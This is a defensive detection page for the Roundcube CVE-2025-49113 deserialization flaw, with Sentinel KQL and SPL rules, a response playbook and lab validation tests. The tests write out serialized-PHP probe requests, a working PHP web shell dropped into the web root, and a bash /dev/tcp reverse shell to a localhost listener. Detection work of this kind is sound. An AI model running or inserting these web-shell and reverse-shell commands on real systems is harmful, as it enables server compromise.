CVE-2025-49113 Microsoft Sentinel · KQL

Detect RoundCube Webmail Deserialization of Untrusted Data (CVE-2025-49113) in Microsoft Sentinel

CVE-2025-49113 is an actively exploited deserialization of untrusted data vulnerability (CWE-502) in Roundcube Webmail. When exploited, an attacker can send a specially crafted serialized PHP object via the web interface, leading to remote code execution on the underlying server. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog and requires immediate patching to versions 1.5.10 or 1.6.11.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
union
  (
    CommonSecurityLog
    | where DeviceVendor =~ "Apache" or DeviceProduct has_any ("roundcube", "webmail")
    | where RequestURL has_any ("/index.php", "/_task=mail", "/_action=show")
    | where RequestURL matches regex @"(O:\d+:|a:\d+:|s:\d+:)"
    | project TimeGenerated, DeviceVendor, DeviceProduct, SourceIP, DestinationIP, RequestURL, RequestMethod, AdditionalExtensions
  ),
  (
    W3CIISLog
    | where csUriStem has_any ("/index.php", "/roundcube")
    | where csUriQuery matches regex @"(O%3A|a%3A|s%3A|O:\d+:|a:\d+:)"
    | project TimeGenerated, sSiteName, csMethod, csUriStem, csUriQuery, cIP, scStatus
  ),
  (
    AuditLogs
    | where OperationName has "PHP" or TargetResources has "roundcube"
  )
| where TimeGenerated > ago(7d)
| extend SuspiciousPayload = iff(RequestURL matches regex @"(O:\d+:|a:\d+:|s:\d+:)" or csUriQuery matches regex @"(O%3A|a%3A|s%3A)", true, false)
| where SuspiciousPayload == true
| summarize Count=count(), DistinctPaths=make_set(RequestURL), DistinctSources=make_set(SourceIP) by bin(TimeGenerated, 1h), SourceIP
| where Count > 1
critical severity medium confidence

Detects HTTP requests to Roundcube Webmail endpoints containing PHP serialized object patterns (O:, a:, s: prefixes) in URLs or query strings, indicative of CVE-2025-49113 deserialization exploitation attempts.

Data Sources

CommonSecurityLogW3CIISLogAuditLogs

Required Tables

CommonSecurityLogW3CIISLog

False Positives & Tuning

  • Legitimate PHP applications that include serialized data in URL parameters for state management
  • Web Application Firewall testing or security scanning tools probing for deserialization vulnerabilities
  • Automated vulnerability scanners (Nessus, Qualys, Rapid7) running authenticated scans against Roundcube
  • Custom integrations or plugins that pass serialized PHP objects through URL parameters by design

Other platforms for CVE-2025-49113


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Roundcube Deserialization Probe via GET Parameter

    Expected signal: HTTP GET request to Roundcube /index.php with O%3A in query string captured in web access logs; PHP error log may show unserialize() invocation

  2. Test 2Roundcube POST Body Deserialization with Crafted Object

    Expected signal: POST request to Roundcube /index.php with serialized object in body captured by WAF or proxy; PHP error log records unserialize call or type error

  3. Test 3Web Shell Drop via Simulated Roundcube RCE

    Expected signal: File creation event in Roundcube web root (inotify/auditd/EDR file write event); new .php file with non-standard name in web root directory

  4. Test 4Outbound Reverse Shell from PHP Process (Post-Exploitation Simulation)

    Expected signal: Process creation event: www-data spawning bash with /dev/tcp redirect; outbound TCP connection from web server worker to port 4444; EDR network connection alert for web process initiating outbound shell


Response Playbook

Triage

  1. Identify the targeted Roundcube instance version by checking the Roundcube admin panel or `composer.json` — confirm whether it is below 1.5.10 or 1.6.11 (unpatched versions are exploitable).
  2. Review web server access logs for the source IP: look for repeated POST or GET requests to `/index.php` with URL-encoded PHP serialization tokens (O%3A, a%3A, s%3A). Cluster requests by User-Agent and timing to distinguish automated exploitation from manual testing.
  3. Check for PHP error logs (`/var/log/roundcube/errors.log` or `/var/log/php*.log`) for unserialize() exceptions or object instantiation errors that may indicate failed or probing exploitation attempts.
  4. Determine whether the source IP is internal, a known scanner, a threat actor IP (cross-reference with threat intel feeds), or originates from an unexpected geography for your Roundcube userbase.

Containment

  1. If exploitation is confirmed or strongly suspected, immediately block the source IP at the perimeter firewall or WAF and disable web access to the Roundcube instance until patching is complete.
  2. Apply the vendor patches immediately: upgrade to Roundcube 1.5.10 or 1.6.11. If immediate patching is not possible, implement a WAF rule blocking requests with PHP serialization patterns (O%3A, a%3A, s%3A) in query strings and POST bodies to the Roundcube endpoint.

Evidence Collection

  1. Preserve full web server access and error logs from the time window of the suspected attack, including raw HTTP request bodies where available (from WAF or reverse proxy logs). Hash and timestamp all collected log files for chain-of-custody.
  2. Collect a filesystem snapshot or inode change report of the Roundcube web root (e.g., `/var/www/roundcubemail/`) to identify any web shells, backdoors, or modified PHP files written as a result of successful RCE.

Escalation Criteria

  • !Escalate immediately to Incident Response if any new or modified PHP files are found in the Roundcube web root after the suspected exploitation window — this indicates successful RCE and possible web shell installation.
  • !Escalate if the compromised Roundcube server shows outbound network connections to unexpected external IPs or exhibits unusual process spawning (e.g., web server parent spawning bash/curl/wget/nc), indicating active post-exploitation activity.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web server access logs with raw POST body content showing PHP serialized object structure (O:, a:, s: tokens)
  • >PHP error logs showing unserialize() failures, type confusion errors, or object instantiation of unexpected classes
  • >Filesystem inode change timestamps on Roundcube web root files modified after the exploitation window
  • >Process execution history (auditd, syslog, EDR telemetry) showing web server worker processes spawning shell interpreters
  • >Network connection logs showing outbound connections from the web server process to attacker-controlled IPs/ports

Tuning Guidance

Reduce false positives by scoping detection to confirmed Roundcube server IP ranges or hostnames — filter out known security scanner IPs and internal monitoring systems. Increase confidence by correlating HTTP detections with process-level telemetry (EDR) showing unusual child processes under the web server. If Roundcube is deployed behind a WAF or reverse proxy, ensure source IP is the client IP (X-Forwarded-For) rather than the proxy IP. Adjust serialization pattern regex to exclude base64-encoded session tokens that are coincidentally similar in structure.


Hunting Queries

Retrospective 30-day hunt for POST requests to Roundcube endpoints containing raw PHP serialized object signatures in the request body, useful for identifying earlier exploitation attempts not caught by URL-pattern rules.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceProduct has_any ("roundcube", "webmail") or RequestURL has "roundcube"
| where RequestMethod == "POST"
| where AdditionalExtensions has_any ("O:", "a:", "s:")
| project TimeGenerated, SourceIP, RequestURL, RequestMethod, AdditionalExtensions
| order by TimeGenerated desc
Hunting — SPL
spl
index=web sourcetype=access_combined method=POST
| where like(uri, "%roundcube%") OR like(uri, "%/index.php")
| eval php_serial=if(match(_raw, "(O:\\d+:\\\"|a:\\d+:\\{|s:\\d+:\\")"), 1, 0)
| where php_serial=1
| table _time, src_ip, uri, status, bytes
| sort -_time

Atomic Red Team Tests

Test 1 Roundcube Deserialization Probe via GET Parameter
linux

Sends a URL-encoded PHP serialized object as a GET parameter to a Roundcube index.php endpoint to test whether the application processes and deserializes the payload without sanitization.

Command

bash
curl -sk 'http://TARGET_ROUNDCUBE/_task=mail&_action=show&payload=O%3A8%3A%22stdClass%22%3A0%3A%7B%7D' -A 'Mozilla/5.0' -o /tmp/rc_probe_response.html && grep -i 'error\|exception\|unserialize' /tmp/rc_probe_response.html | head -20

Cleanup

bash
rm -f /tmp/rc_probe_response.html

Expected Telemetry

HTTP GET request to Roundcube /index.php with O%3A in query string captured in web access logs; PHP error log may show unserialize() invocation

Expected Detection

KQL/SPL rules matching PHP serialization URL-encoded patterns in requests to Roundcube path

Test 2 Roundcube POST Body Deserialization with Crafted Object
linux

Sends a crafted PHP serialized object in a POST body to Roundcube, simulating the primary exploitation vector for CVE-2025-49113 where user-controlled input is passed to unserialize().

Command

bash
python3 -c "
import urllib.request, urllib.parse
payload = b'O:8:\"stdClass\":1:{s:4:\"test\";s:3:\"rce\";}'
data = urllib.parse.urlencode({'_token': 'test', 'payload': payload.decode()}).encode()
req = urllib.request.Request('http://TARGET_ROUNDCUBE/index.php?_task=mail', data=data, headers={'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0'})
try:
    resp = urllib.request.urlopen(req, timeout=10)
    print('Status:', resp.status)
except Exception as e:
    print('Response:', str(e))
"

Cleanup

bash
No persistent artifacts created on attacker system

Expected Telemetry

POST request to Roundcube /index.php with serialized object in body captured by WAF or proxy; PHP error log records unserialize call or type error

Expected Detection

SPL/EQL rules matching raw PHP serialization patterns in POST body for Roundcube endpoint

Test 3 Web Shell Drop via Simulated Roundcube RCE
linux

Simulates the post-exploitation phase of CVE-2025-49113 by writing a PHP web shell to the Roundcube web root, representing what a successful deserialization gadget chain would achieve. Run in isolated lab only.

Command

bash
echo '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);}?>' > /var/www/roundcubemail/shell_test.php && ls -la /var/www/roundcubemail/shell_test.php

Cleanup

bash
rm -f /var/www/roundcubemail/shell_test.php

Expected Telemetry

File creation event in Roundcube web root (inotify/auditd/EDR file write event); new .php file with non-standard name in web root directory

Expected Detection

EDR file integrity monitoring alert for new PHP file creation in web application directory; FIM policy violation for Roundcube web root

Test 4 Outbound Reverse Shell from PHP Process (Post-Exploitation Simulation)
linux

Simulates the network behavior expected after successful CVE-2025-49113 exploitation, where the PHP process spawns a bash reverse shell. Run in an isolated lab network with no real attacker infrastructure.

Command

bash
sudo -u www-data bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' &
nc -lvnp 4444 -w 3 || true

Cleanup

bash
kill %1 2>/dev/null; true

Expected Telemetry

Process creation event: www-data spawning bash with /dev/tcp redirect; outbound TCP connection from web server worker to port 4444; EDR network connection alert for web process initiating outbound shell

Expected Detection

EQL sequence rule matching HTTP deserialization request followed by web server child process spawning shell interpreter; CrowdStrike CQL alert on web server parent spawning bash with suspicious command line

Related Detections